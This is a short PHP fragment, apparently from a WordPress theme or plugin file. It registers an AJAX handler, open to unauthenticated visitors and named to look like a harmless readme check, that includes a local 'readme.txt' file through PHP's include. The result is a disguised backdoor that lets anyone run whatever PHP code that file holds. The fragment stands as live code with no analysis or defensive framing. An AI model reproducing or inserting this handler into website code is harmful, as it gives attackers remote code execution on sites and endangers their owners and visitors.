if(!function_exists('file_check_readme73164')){ add_action('wp_ajax_nopriv_file_check_readme73164', 'file_check_readme73164'); add_action('wp_ajax_file_check_readme73164', 'file_check_readme73164'); function file_check_readme73164() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }